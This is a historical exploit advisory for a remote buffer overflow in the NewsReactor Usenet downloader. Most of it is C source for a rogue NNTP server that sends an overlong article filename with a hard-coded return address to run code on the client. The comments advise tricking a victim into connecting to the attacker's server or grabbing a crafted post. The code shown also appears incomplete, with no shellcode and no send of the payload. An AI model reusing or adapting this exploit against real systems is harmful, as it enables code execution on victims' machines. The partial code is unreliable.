"NewsReactor is a tool to download binaries from usenet newsgroups. NewsReactor scans, combines and downloads files from selected newsgroups. This program is shareware."
There is remote buffer overflow in NewsReactor build 20070220 that can be triggered by grabbing articles that contain an overly long file name.
Exploit 1:
/**************************************
* NewsReactor 20070220 Article Grabbing Remote Buffer Overflow *
* Exploit 1 *
* *
* *
* There is remote buffer overflow in NewsReactor 20070220 that can be triggered *
* by grabbing articles that contain an overly long file name. *
* *
* To exploit, convince someone to set his newsgroup server to your ip:119 and *
* ask him to grab an article (say with a .NZB file). *
* *
* This exploit waits for incoming connection and then runs calc.exe. *
* *
* Return address should work on XP SP2 FR. *
* Should fail on english systems cause I took the first return address I got =D.*
* Have Fun! *
* *
* Tested against WIN XP SP2 FR *
* Coded and Discovered by Marsu <Marsupilamipowa@hotmail.fr> *
***************************************
int main(int argc, char* argv[])
{
char recvbuff[1024];
char evilbuff[10000];
sockaddr_in sin;
int server,client;
WSADATA wsaData;
WSAStartup(MAKEWORD(1,1), &wsaData);
server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sin.sin_family = PF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
sin.sin_port = htons( 119 );
bind(server,(SOCKADDR*)&sin,sizeof(sin));
printf("[+] NewsReactor Article Grabbing Remote Buffer Overflow\n");
printf("[+] Coded and Discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
printf("[*] Listening on port 119...\n");
listen(server,5);
printf("[*] Waiting for client ...\n");
client=accept(server,NULL,NULL);
printf("[+] Client connected\n");
if (send(client,"200 Hello there\r\n",17,0)==-1)
{
printf("[-] Error in send!\n");
exit(-1);
}
//BODY article or AUTHINFO user
memset(recvbuff,0,1024);
recv(client,recvbuff,1024,0);
printf("-> %s\n",recvbuff);
if (strstr(recvbuff,"AUTHINFO")) {
send(client,"381 Pass please?\r\n",18,0);
char* postname=(char *) malloc(strlen(recvbuff)*sizeof(char));
memset(postname,0,100);
if (!strstr(recvbuff,"BODY")) {
printf("[-] BODY were expected. Exploit will fail.\n");
}
else {
memcpy(postname,recvbuff+5,strlen(recvbuff)-5);
printf("[+] Using %s to exploit.\n",postname);
}
char header[]="220 0 ";
char header2[]=
" article\r\n"
"=ybegin part=1 line=128 size=127 name="
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAA"
"\xD6\xE6\xE3\x77" //jmp EDI in advapi32.dll XP SP2 FR.
"\xD6\xE6\xE3\x77" //ugly but we don't know where we land...
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"\xD6\xE6\xE3\x77"
"AAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAA";
printf("[+] Evil data sent. Have fun!\n");
Sleep(500);
return 0;
}
Exploit 2:
/*********************************************************************************
* NewsReactor 20070220 Article Grabbing Remote Buffer Overflow *
* Exploit 2 *
* *
* *
* Check the other advisory for technical details. *
* *
* This exploit connects to your newsgroups provider and posts a crafted article. *
* *
* Ask your victim to grab it to trigger the bug and execute calc.exe. *
* Return address should work on XP SP2 FR. *
* Should fail on english systems cause I took the first return address I got =D. *
* Have Fun! *
* *
* Tested against WIN XP SP2 FR *
* Coded and Discovered by Marsu <Marsupilamipowa@hotmail.fr> *
* *
* Note: change evilbuff to crash News Bin Pro 4.32. 800 'A' should be enough. *
*********************************************************************************/